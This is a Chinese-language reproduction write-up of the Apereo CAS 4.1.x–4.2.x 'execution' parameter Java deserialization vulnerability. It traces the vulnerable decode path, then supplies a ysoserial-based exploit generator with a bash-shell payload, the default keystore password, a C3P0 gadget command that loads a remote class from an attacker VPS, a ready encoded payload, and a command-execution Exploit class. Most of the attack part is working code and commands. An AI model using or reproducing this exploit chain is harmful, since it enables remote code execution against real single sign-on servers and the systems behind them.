# Apereo CAS 4.X execution参数反序列化漏洞

## 一、漏洞简介

该攻击媒介特别适用于CAS的所有部署v4.1.x和v4.2.x地方中科院外的开箱默认配置用于管理对象序列化，数据加密和签名部署

## 二、漏洞影响

Apereo CAS 4.1.x - 4.16

Apereo CAS 4.1.7 - 4.2x

## 三、复现过程

在 `cas-servlet.xml` 中，可以知道对execution参数应该关注 `FlowExecutorImpl`


```xml
<bean name="loginFlowExecutor" class="org.springframework.webflow.executor.FlowExecutorImpl"
          c:definitionLocator-ref="loginFlowRegistry"
          c:executionFactory-ref="loginFlowExecutionFactory"
          c:executionRepository-ref="loginFlowExecutionRepository"/>
```

在 `org/springframework/webflow/executor/FlowExecutorImpl.class:96`


```bash
public FlowExecutionResult resumeExecution(String flowExecutionKey, ExternalContext context) throws FlowException {
        FlowExecutionResult var6;
        try {
            ...

            try {
                FlowExecution flowExecution = this.executionRepository.getFlowExecution(key);
                ...
            }
            ...
        }
        ...
    }
```

跟进 getFlowExecution，在 `spring-webflow-client-repo-1.0.0.jar!/org/jasig/spring/webflow/plugin/ClientFlowExecutionRepository.class:51`


```
public FlowExecution getFlowExecution(FlowExecutionKey key) throws FlowExecutionRepositoryException {
        ...
        byte[] encoded = ((ClientFlowExecutionKey)key).getData();

        try {
            ClientFlowExecutionRepository.SerializedFlowExecutionState state = (ClientFlowExecutionRepository.SerializedFlowExecutionState)this.transcoder.decode(encoded);
            ...
        }        
    }
```

跟进 decode spring-webflow-client-repo-1.0.0.jar!/org/jasig/spring/webflow/plugin/EncryptedTranscoder.class:80


```
public Object decode(byte[] encoded) throws IOException {
        byte[] data;
        try {
            data = this.cipherBean.decrypt(encoded);
        } catch (Exception var11) {
            throw new IOException("Decryption error", var11);
        }

        ByteArrayInputStream inBuffer = new ByteArrayInputStream(data);
        ObjectInputStream in = null;

        Object var5;
        try {
            if (this.compression) {
                in = new ObjectInputStream(new GZIPInputStream(inBuffer));
            } else {
                in = new ObjectInputStream(inBuffer);
            }

            var5 = in.readObject();
        } catch (ClassNotFoundException var10) {
            throw new IOException("Deserialization error", var10);
        } finally {
            if (in != null) {
                in.close();
            }

        }

        return var5;
    }
```

post进入的execution参数值即encoded，在经过decrypt解密后，最终在`var5 = in.readObject()`触发反序列化漏洞。

**Apereo CAS 4.1.X ~ 4.1.6 漏洞复现**

4.1.x 的加密过程直接利用了EncryptedTranscoder中的encode


```
public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

    ...
    public byte[] encode(Object o) throws IOException {
        if (o == null) {
            return new byte[0];
        } else {
            ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
            ObjectOutputStream out = null;

            try {
                if (this.compression) {
                    out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
                } else {
                    out = new ObjectOutputStream(outBuffer);
                }

                out.writeObject(o);
            } finally {
                if (out != null) {
                    out.close();
                }

            }

            try {
                return this.cipherBean.encrypt(outBuffer.toByteArray());
            } catch (Exception var7) {
                throw new IOException("Encryption error", var7);
            }
        }
    }

    ...
    protected KeyStore createAndPrepareKeyStore() {
        KeyStoreFactoryBean ksFactory = new KeyStoreFactoryBean();
        URL u = this.getClass().getResource("/etc/keystore.jceks");
        ksFactory.setResource(new URLResource(u));
        ksFactory.setType("JCEKS");
        ksFactory.setPassword("changeit");
        return ksFactory.newInstance();
    }
}
```

同时要注意存在一个base64的过程

![](images/15889432343497.png)


因此要生成payload，即先用encode加密后再进行一次base64编码。其中`/etc/keystore.jceks`在`spring-webflow-client-repo-1.0.0.jar/etc/`目录下

**生成payload**


```
import org.cryptacular.util.CodecUtil;
import org.jasig.spring.webflow.plugin.EncryptedTranscoder;


import ysoserial.payloads.ObjectPayload;


public class ApereoExploit {


    public static void main(String[] args) throws Exception{
        String poc[] = {"CommonsCollections2","bash-shell"};
        final Object payloadObject = ObjectPayload.Utils.makePayloadObject(poc[0], poc[1]);
        //AES加密
        EncryptedTranscoder et = new EncryptedTranscoder();
        byte[] encode = et.encode(payloadObject);
        //base64编码
        System.out.println(CodecUtil.b64(encode));
    }
}
```

运行代码

![](images/15889432636347.png)


接着

![](images/15889432717000.png)


服务器监听：

![](images/15889432795890.png)


完整过程动图

![3e6e35f945224f0bbae0260c0ed07c1b](images/3e6e35f945224f0bbae0260c0ed07c1b.gif)


**Apereo CAS 4.1.7 ～ 4.2.X 漏洞复现**

以4.2.7为例。

利用

4.2.x 的decrypt函数在 cas-server-webapp-support-4.2.7.jar!/org/jasig/cas/web/flow/CasWebflowCipherBean.class:34


```
public byte[] decrypt(byte[] bytes) {
        return (byte[])this.webflowCipherExecutor.decode(bytes);
    }
```

其中decode在 cas-server-core-util.jar!/jasig/cas/util/BinaryCipherExecutor.java:82


```
@Override
    public byte[] encode(final byte[] value) {
        try {
            final Key key = new SecretKeySpec(this.encryptionSecretKey.getBytes(),
                    this.secretKeyAlgorithm);
            final CipherService cipher = new AesCipherService();
            final byte[] result = cipher.encrypt(value, key.getEncoded()).getBytes();
            return sign(result);
        } catch (final Exception e) {
            logger.error(e.getMessage(), e);
            throw new RuntimeException(e);
        }
    }

    @Override
    public byte[] decode(final byte[] value) {
        try {
            final byte[] verifiedValue = verifySignature(value);
            final Key key = new SecretKeySpec(this.encryptionSecretKey.getBytes(UTF8_ENCODING),
                    this.secretKeyAlgorithm);
            final CipherService cipher = new AesCipherService();
            final byte[] result = cipher.decrypt(verifiedValue, key.getEncoded()).getBytes();
            return result;
        } catch (final Exception e) {
            logger.error(e.getMessage(), e);
            throw new RuntimeException(e);
        }
    }
```

而上面encode其对应的调用加密流程在 cas-server-core-util.jar!/org/jasig/cas/util/WebflowCipherExecutor.java:14


```
@Component("webflowCipherExecutor")
public class WebflowCipherExecutor extends BinaryCipherExecutor {

    /**
     * Instantiates a new webflow cipher executor.
     *
     * @param secretKeyEncryption the secret key encryption
     * @param secretKeySigning    the secret key signing
     * @param secretKeyAlg        the secret key alg
     */
    @Autowired
    public WebflowCipherExecutor(@Value("${webflow.encryption.key:}")
                                 final String secretKeyEncryption,
                                 @Value("${webflow.signing.key:}")
                                 final String secretKeySigning,
                                 @Value("${webflow.secretkey.alg:AES}")
                                 final String secretKeyAlg){
        super(secretKeyEncryption, secretKeySigning);
        setSecretKeyAlgorithm(secretKeyAlg);
    }
}
```

因此其加密过程与 4.1.X稍微有些不同，需要重新写加密逻辑。

复现

利用 cas-overlay-template-4.2 ，其中在cas-overlay-template-4.2\cas-overlay-template-4.2\src\main\webapp\WEB-INF\spring-configuration\propertyFileConfigurer.xml 指定了cas.properties 的位置，最终生成war包，放于Tomcat webapps目录下。

修改cas.properties，使其支持http，并修改webflow相关默认密钥

![](images/15889433640056.png)


![](images/15889433707176.png)



```
webflow.encryption.key=C4SBogp_badO82wC
webflow.signing.key=8_G6JMTdkxiJ5rN0tqFrEOQj200VoxGrRzAp7bvjMFSGdA2IOzdFRsGv3m3GMNVmoSJ0O4miIBrYCHx_FWP4oQ
```

利用 apereocas42.jar 生成加密参数，由于依赖包中存在c3p0

![](images/15889433856278.png)


因此可以利用其做gadget


```
java -jar apereocas42.jar C4SBogp_badO82wC  8_G6JMTdkxiJ5rN0tqFrEOQj200VoxGrRzAp7bvjMFSGdA2IOzdFRsGv3m3GMNVmoSJ0O4miIBrYCHx_FWP4oQ  C3P0 http://your_vps:60006/:Exploit

execution=7995ec15-cec8-4eed-9d31-d9a1f7a7138b_ZXlKaGJHY2lPaUpJVXpVeE1pSjkuTVM5aVdUaEtiSE4zVW1KYVZqUXJielZoZFV4V1FWZExUVGRPVUdsblZYVk9hbkZaTUVwdWNUbE1hekpMTVUxeGQyaHVhRkJwY3pacVluZ3ZWVTVNTDBKdVFsUnpkMUIxYW5kVlZUWjRVMDloUlN0SGVUVjZjbXRGYkU5Rk5tNXNUa3R5UVdNMVUwRXpkSFpYYWs4NVpuRjFWUzg0YVZWcmFVaDRUeXRIV1ZFMU5GVXZZV0pSVDJGSmQwaGxkSFZNWlc5VFRsRTNNbE5WSzBjMVFXazFiV2h2V2tWMFVtZEVaVE0zZVhSeldsbDVLMjQwUzJSM1YzSllhemxLV0dRclRuWk5lSE4xZURKM2NIazJRMHBXYkVOS01UVnZURlZEU2tKMU5rMVRaVll3ZVV4VmFHWlBkVzlUZFhCYVpYaFFiV1pwY1hSV1YzVnhMMUIxV0dSWFYxaFhRVGt6ZUZKSGVGcDNTSFZYTkUxRVpVRjFLM1pDU1hWWFQzZG1我是马赛克pT1ZKSVZHNXVUMlpCVFdWdGFGSmFTV0pyWjJWTGJsUnFXVXhVYTA5UUx6QnVLM2xTZVdoQ1NGaDBja3d3VFVab056UTFValJ2VFUwNGNpODRPRXhFVjFKR2VHdEtaSGxNWjFScVdVRnRkMHRIUW00dk5HOHZiR0p0WjBSeVVHdElUbWhIVm1ORVoxSkdlRzlQYm5vMmFXaHVkWEpPVEdaa1kzWXlVMHB3Vm1GSFEwTkZXR3cwZW1Jd1dVSkhjRTlCVUVwUldXZ3ZNRmxaTkVGb09FMXlNRlpGY2t4NFlXUnhTR2QzYmxwSVRVUjFNM2hMT1VOQ2NGRnRWWEo0T1RKRE1ETm1NbmhDTVdwdGRUSktkR3Q1WVc1WmJsZFdVMjlKUm1jMWVERlpXbGg1V1hWclRHZGpXa1Y1VVVOSk5sQlVjM2xXYlc1NlJHUlphbHBMZWpVemRXeHpUVEZtVjNkR1lrOVRRelYwWkROWE9XVkJTM2hPVm5CUE9VOVFRbEJzWVZJd2J5OXFkV1ZrYjNnMmRGZDVWRFEwUlZsVVlXZ3pPVXcwT0ZrclFXNDFlRGcxYUdwNVlXeHVNV3BYVEVSc2MzSnNVRU5MU0ZoV2NYb3JNMmM5UFEuUHlVb1FOdWNYS01Ra1lJZllZQ1FJaXUwQTROUkdzaExCOGMxMHczYzRWRDhHVmI1ZjRMbjZXQllmVUtKVU5FREpwZjl0ckd6N0pQTHJVLXlpMWRSRkE=
```

在自己的vps上编译Exploit.java，生成Exploit.class


```java
public class Exploit {
    public Exploit(){
        try {
            java.lang.Runtime.getRuntime().exec(
                new String[]{"cmd.exe","/C","calc.exe"}
       );
        } catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

// javac Exploit.java 生成Exploit.class
// python3 -m http.server 60006
```

截取cas的登录包，替换execution参数

![511a0e09991b4232af0c4093d82d152e](images/511a0e09991b4232af0c4093d82d152e.gif)


vps上可以看到c3p0远程加载了class

![](images/15889434335809.png)


参考链接

https://app.yinxiang.com/fx/83617723-790c-4a9e-b884-f6831e2acf78

https://xz.aliyun.com/t/7032#toc-1